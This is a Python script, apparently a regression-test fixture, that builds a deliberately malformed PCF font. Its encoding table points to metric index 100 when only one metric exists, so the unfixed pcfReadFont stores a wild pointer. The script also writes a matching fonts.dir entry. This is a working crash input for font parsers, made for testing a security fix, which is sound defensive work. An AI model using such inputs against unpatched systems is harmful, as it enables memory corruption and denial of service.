1 1.1 mrg #!/usr/bin/env python3 2 1.1 mrg """ 3 1.1 mrg Generate a malicious PCF font with an out-of-bounds encoding offset. 4 1.1 mrg 5 1.1 mrg The font has 1 metric but the encoding table references metric index 6 1.1 mrg 100, far past the metrics array. Without the fix, pcfReadFont stores 7 1.1 mrg a wild pointer (metrics + 100) in the encoding table. 8 1.1 mrg 9 1.1 mrg Based on gen_evil_pcf_repad.py structure for a known-good PCF layout. 10 1.1 mrg 11 1.1 mrg Usage: 12 1.1 mrg python3 gen_evil_pcf_encoding.py <output_dir> 13 1.1 mrg """ 14 1.1 mrg 15 1.1 mrg import struct 16 1.1 mrg import sys 17 1.1 mrg import os 18 1.1 mrg 19 1.1 mrg PCF_DEFAULT_FORMAT = 0x00000000 20 1.1 mrg PCF_PROPERTIES = 1 21 1.1 mrg PCF_ACCELERATORS = 2 22 1.1 mrg PCF_METRICS = 4 23 1.1 mrg PCF_BITMAPS = 8 24 1.1 mrg PCF_BDF_ENCODINGS = 32 25 1.1 mrg 26 1.1 mrg 27 1.1 mrg def u32(x): 28 1.1 mrg return struct.pack("<I", x & 0xFFFFFFFF) 29 1.1 mrg 30 1.1 mrg 31 1.1 mrg def i32(x): 32 1.1 mrg return struct.pack("<i", x) 33 1.1 mrg 34 1.1 mrg 35 1.1 mrg def u16(x): 36 1.1 mrg return struct.pack("<H", x & 0xFFFF) 37 1.1 mrg 38 1.1 mrg 39 1.1 mrg def i16(x): 40 1.1 mrg return struct.pack("<h", x) 41 1.1 mrg 42 1.1 mrg 43 1.1 mrg def u8(x): 44 1.1 mrg return struct.pack("<B", x & 0xFF) 45 1.1 mrg 46 1.1 mrg 47 1.1 mrg def xCharInfo(lsb, rsb, cw, asc, desc, attr): 48 1.1 mrg return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr) 49 1.1 mrg 50 1.1 mrg 51 1.1 mrg # Glyph: 8x10 52 1.1 mrg LSB, RSB = 0, 8 53 1.1 mrg ASCENT, DESCENT = 8, 2 54 1.1 mrg CHAR_WIDTH = 8 55 1.1 mrg 56 1.1 mrg # Bitmap: pad=1, 1 byte/row * 10 rows = 10 bytes 57 1.1 mrg BITMAP_DATA_SIZE = 10 58 1.1 mrg BITMAP_SIZES = [BITMAP_DATA_SIZE, 20, 40, 80] 59 1.1 mrg 60 1.1 mrg # --- PROPERTIES (same as repad test) --- 61 1.1 mrg properties = b"" 62 1.1 mrg properties += u32(PCF_DEFAULT_FORMAT) 63 1.1 mrg properties += i32(1) 64 1.1 mrg properties += i32(0) 65 1.1 mrg properties += u8(0) 66 1.1 mrg properties += i32(0) 67 1.1 mrg properties += b"\x00" * 3 68 1.1 mrg properties += i32(1) 69 1.1 mrg properties += b"\x00" 70 1.1 mrg 71 1.1 mrg # --- ACCELERATORS --- 72 1.1 mrg accel = b"" 73 1.1 mrg accel += u32(PCF_DEFAULT_FORMAT) 74 1.1 mrg accel += u8(0) * 8 75 1.1 mrg accel += i32(ASCENT) 76 1.1 mrg accel += i32(DESCENT) 77 1.1 mrg accel += i32(0) 78 1.1 mrg accel += xCharInfo(0, 0, 0, 0, 0, 0) 79 1.1 mrg accel += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0) 80 1.1 mrg 81 1.1 mrg # --- METRICS (1 glyph) --- 82 1.1 mrg metrics = b"" 83 1.1 mrg metrics += u32(PCF_DEFAULT_FORMAT) 84 1.1 mrg metrics += i32(1) # nmetrics = 1 85 1.1 mrg metrics += xCharInfo(LSB, RSB, CHAR_WIDTH, ASCENT, DESCENT, 0) 86 1.1 mrg 87 1.1 mrg # --- BITMAPS --- 88 1.1 mrg bitmaps = b"" 89 1.1 mrg bitmaps += u32(PCF_DEFAULT_FORMAT) 90 1.1 mrg bitmaps += i32(1) # nbitmaps = 1 91 1.1 mrg bitmaps += u32(0) # offset[0] = 0 92 1.1 mrg for sz in BITMAP_SIZES: 93 1.1 mrg bitmaps += u32(sz) 94 1.1 mrg bitmaps += b"\xaa" * BITMAP_DATA_SIZE 95 1.1 mrg 96 1.1 mrg # --- BDF_ENCODINGS --- 97 1.1 mrg # EVIL: encoding offset 100, but nmetrics is only 1 98 1.1 mrg EVIL_OFFSET = 100 99 1.1 mrg encodings = b"" 100 1.1 mrg encodings += u32(PCF_DEFAULT_FORMAT) 101 1.1 mrg encodings += u16(0) + u16(0) # firstCol, lastCol 102 1.1 mrg encodings += u16(0) + u16(0) # firstRow, lastRow 103 1.1 mrg encodings += u16(0) # defaultCh 104 1.1 mrg encodings += u16(EVIL_OFFSET) # encoding[0] -> metric[100] OOB! 105 1.1 mrg 106 1.1 mrg # --- Assemble --- 107 1.1 mrg TABLE_COUNT = 5 108 1.1 mrg BODY_START = 8 + TABLE_COUNT * 16 109 1.1 mrg 110 1.1 mrg properties_off = BODY_START 111 1.1 mrg accel_off = properties_off + len(properties) 112 1.1 mrg metrics_off = accel_off + len(accel) 113 1.1 mrg bitmaps_off = metrics_off + len(metrics) 114 1.1 mrg encodings_off = bitmaps_off + len(bitmaps) 115 1.1 mrg 116 1.1 mrg 117 1.1 mrg def toc(type_, format_, size, offset): 118 1.1 mrg return u32(type_) + u32(format_) + u32(size) + u32(offset) 119 1.1 mrg 120 1.1 mrg 121 1.1 mrg out = b"\x01fcp" + u32(TABLE_COUNT) 122 1.1 mrg out += toc(PCF_PROPERTIES, 0, len(properties), properties_off) 123 1.1 mrg out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off) 124 1.1 mrg out += toc(PCF_METRICS, 0, len(metrics), metrics_off) 125 1.1 mrg out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off) 126 1.1 mrg out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off) 127 1.1 mrg out += properties + accel + metrics + bitmaps + encodings 128 1.1 mrg 129 1.1 mrg output_dir = sys.argv[1] if len(sys.argv) > 1 else "." 130 1.1 mrg os.makedirs(output_dir, exist_ok=True) 131 1.1 mrg 132 1.1 mrg pcf_name = "evil-encoding.pcf" 133 1.1 mrg xlfd = "-evil-encoding-medium-r-normal--10-100-75-75-c-80-iso10646-1" 134 1.1 mrg 135 1.1 mrg with open(os.path.join(output_dir, pcf_name), "wb") as f: 136 1.1 mrg f.write(out) 137 1.1 mrg 138 1.1 mrg with open(os.path.join(output_dir, "fonts.dir"), "w") as f: 139 1.1 mrg f.write("1\n") 140 1.1 mrg f.write(f"{pcf_name} {xlfd}\n") 141